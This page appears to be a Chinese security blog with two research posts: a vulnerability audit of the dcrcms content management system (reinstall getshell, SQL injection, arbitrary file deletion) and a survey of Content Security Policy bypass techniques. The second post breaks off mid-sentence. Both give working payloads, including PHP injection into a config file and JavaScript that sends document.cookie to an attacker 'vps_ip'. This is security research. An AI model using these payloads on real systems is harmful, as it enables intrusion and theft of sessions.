Articles in the category of Web

开源安全,代码审计

前言

最近渗透测试某站点的时候触发了一个报错,然后发现了站点使用的CMS,百度了一下是一个国产开源的企业级CMS。从官网拉下来审了一下,再此记录一下

入口

下面是index.php入口文件

<?php
if( !file_exists(dirname(__FILE__) . "/include/config.db.php") )
{
    header("Location:install/index.php");
    exit();
}
require_once( "include/common.inc.php" );
$mod = str_replace( '../', '', $mod );

if( empty( $mod ) )
{
    $mod = 'index';
}

$action_file = WEB_INCLUDE . '/action/' . $mod . '.php';
file_exists($action_file) && require_once($action_file);

$cls_tpl = cls_app:: get_template( $mod );
$cls_tpl->display();

?>

很常见的cms入口形式,但是可以注意到第八行将../替换为空,这里怀疑会不会存在目录穿越,可以采用..././这样的形式来穿越到上一层。但是第15行限制了后缀必须为php,且由于前缀也被限制于是不能使用zip伪协议拿shell,如果php版本为5.2可以采用00截断包含任意文件,这里暂时卡住,继续审计,第2行应该为配置文件略过,跟进第7行的common.inc.php
图片.png
common.inc.php开头先定义了许多常量,然后更改了一些php配置,接着又引入了两个文件,跟进发现配置了一些变量,先不管,继续向下审计common.inc.php

<?php

$req_data = array();
foreach( array('_GET', '_POST', '_COOKIE') as $_request )
{
    foreach( $$_request as $_k => $_v )
    {
        ${$_k} = _get_request($_v);
        
        if( '_COOKIE' != $_request )
        {
            $req_data[$_k] = _get_request($_v);
        }
    }
}
unset($_GET, $_POST);
?>

上面代码可以很明显的发现,cms把$_GET,$_POST,$_COOKIE注册为了全局变量。所以之后可能存在变量覆盖,之后的代码引入了全局函数和全局类。这时候CMS入口以审计结束,可以开始审计函数和类

重安装漏洞(Getshell)

由于安装文件一般是漏洞的重灾地,于是这里直接跳到了安装文件,果然找到了漏洞点。
在install_action.php中,安装完成后会把前端文件重命名,但是后端逻辑文件依旧存在,所以如果知道安装文件位置即可重安装

<?php
function install_end()
{
    //安装收尾
                
    //把安装文件的名字换了
    @rename('index.php', 'index.php_bak');
}

这里只重命名了前端文件

而且在文件280行,存在写文件操作,文件名为php且文件内容可控

<?php

$db_tablepre = $_POST['tablepre'];

write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre);

function write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre)
{    
    //写入数据库配置
    global $db_code;
    $db_config = "";
    $db_config .= "<?php\n\n";
    $db_config .= "\$db_type = '" . $db_type . "';\n";
    $db_config .= "\$db_host = '" . $db_host . "';\n";
    $db_config .= "\$db_name = '" . $db_name . "';\n";
    $db_config .= "\$db_pass = '" . $db_pass . "';\n";
    $db_config .= "\$db_table = '" . $db_table . "';\n";
    $db_config .= "\$db_ut = '" . $db_code . "';\n";
    $db_config .= "\$db_tablepre = '" . $db_tablepre . "';\n\n";
    $db_config .= "?>";
    require_once("../include/class/class.file.php");
    $cls_file = new cls_file('../include/config.db.php');
    $cls_file-> set_text($db_config);
    
    return $cls_file-> write();
}

由于文件内容可控,我们可以通过tablepre=exp来写入一个恶意php文件

tablepre=dcr_qy_';?><?php phpinfo()?>
由于写入的是配置文件,所以访问站点任意文件都会包含此文件,所以还可以当后门来用。

图片.png

审计过程还发现,如果采用sqlite安装,sqlite数据库文件名会以php结尾,并且我们可以控制数据库名数据库表,但是cms开始会新建一个名为<?php的数据表,sqlite文件的文件头会存在多个<?php,php解析到这里直接报错了。不知道怎么绕过。

sql注入

在install_action.php中还存在sql注入

<?php
$db_table = $_POST['table'];
$sql_db_exists = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='$db_table'";

很明显的注入,就不细讲了

任意文件删除漏洞x2

全局搜索危险函数unlink
图片.png
一个个跟进审计,查找拿些变量可控,最终找到两个任意文件删除漏洞

在fmanage_action.php中提供了文件删除功能,但是未对文件路径做过滤,于是可以删除任意文件
图片.png
上面提到cms把所有url变量注册为了全局变量,于是只需访问action=del_file&cpath=../../../../../../../1.txt即可删除任意文件

cls_dir类中也存在一个任意文件删除漏洞
图片.png
cache_clear.php引用了这个类

<?php
$cls_dir = new cls_dir();
$cls_dir-> delete_dir( WEB_CACHE  . "/template/{$tpl_dir}" );

同理,通过控制url参数tpl_dir即可任意文件删除

失败的审计

在db.class.php中的构造方法里,可以进行数据库连接

<?php
class cls_db
{
    private $pdo;
    
    private $db_type;
    private $host;
    private $name;
    private $pass;
    private $table;
    private $ut;
    private $conn;
    
    private $result;
    private $rs;    
    
    private $str_error; //错误信息
    
    /**
     * 构造函数
      * @param string $db_type 数据库类型
      * @param string $host 数据库地址
     * @param string $name 数据库用户名
     * @param string $pass 数据库密码
     * @param string $table 数据库名
     * @param string $ut 数据库编码
     * @return resource 成功返回一个连接的resource
     */
    function __construct( $db_type, $db_host, $db_name, $db_pass, $db_table, $db_ut )
    {
        $this->db_type = $db_type;
        $this->host = $db_host;
        $this->name = $db_name;
        $this->pass = $db_pass;
        $this->table = $db_table;    
        $this->ut = $db_ut;
        if( !$this->conn )
        {
            $this->connect();
        }
    }

因为构造方法只有在实例化新类才会被执行,所以理论上,如果我们可以任意实例化任意类,我们可以控制数据库连接的ip和端口,再通过mysql任意文件读取漏洞,即可达到任意文件读取,全局搜索new $
图片.png
遗憾的是,这三个变量审计后发现我们都不可控,于是这条路没有走通,但是我觉得思路还是很不错的

失败的审计*2

class.email.php文件中会存在任意ip建立套接字,发送数据可控,于是我们可以通过crlf来SSRF,可以攻击内网的php-fpm,redis等应用,但是在刚开始建立套接字的时候,cms会判断对应ip是否返回2或者3,

<?php
function smtp_ok()
    {
        $response = str_replace("\r\n", "", fgets($this->sock, 512));
        $this->smtp_debug( $response . "\n" );
   
        
        if (!ereg("^[23]", $response))
        {
            fputs($this->sock, "QUIT\r\n");
            fgets($this->sock, 512);
            cls_app::log("Error: Remote host returned \"" . $response . "\"\n");
            return false;
        }
        return true;
    }
?>

如果攻击内网,必须要对应内网服务在建立连接时,返回数据中带有2或者3,我们才能发送数据,否者程序会直接退出。

cms官网:http://www.dcrcms.com/

- Read More -
安全研究

CSP简介

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
CSP的具体介绍可以看看手册(内容安全策略)[[https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP]](https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP)

CSP的绕过

CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了
因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了
利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效
A页面:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

图片.png
setTimeout是为了等待iframe加载完成
利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
  2. 我们需要的数据在存在CSP保护的页面

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章(Hackmd XSS)[[https://paper.seebug.org/855/]](https://paper.seebug.org/855/)
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用()[https://www.jianshu.com/p/f1de775bc43e]
比如Jquery-mobile库,如果CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中
  3. XSS页面可以新建标签

站点可控静态资源绕过

给一个绕过codimd的(实例)[[https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md]](https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md)
案例中codimd的CSP中使用了www.google-analytics.com
而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
图片.png

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

图片.png

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中
  3. 可以新建script标签

站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470
大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
以ins'hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

图片.png
配合注释符,我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
利用条件:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中
  3. 可以新建script标签

Base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置baseuri,就可以使用标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是性对base标签中指定的url的相对路径
exp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

图片.png
图片.png
注意:如果页面的script-src不是采用的nonce而是self或者站点,则不能使用此方法,因为vps不在csp白名单内

利用条件:

  1. script标签使用nonce
  2. 没有额外设置base-uri
  3. xss页面可以新建标签

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第四行的<script会变成一个属性,值为空,之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scrip
图片.png

但是在chrome中,虽然第二个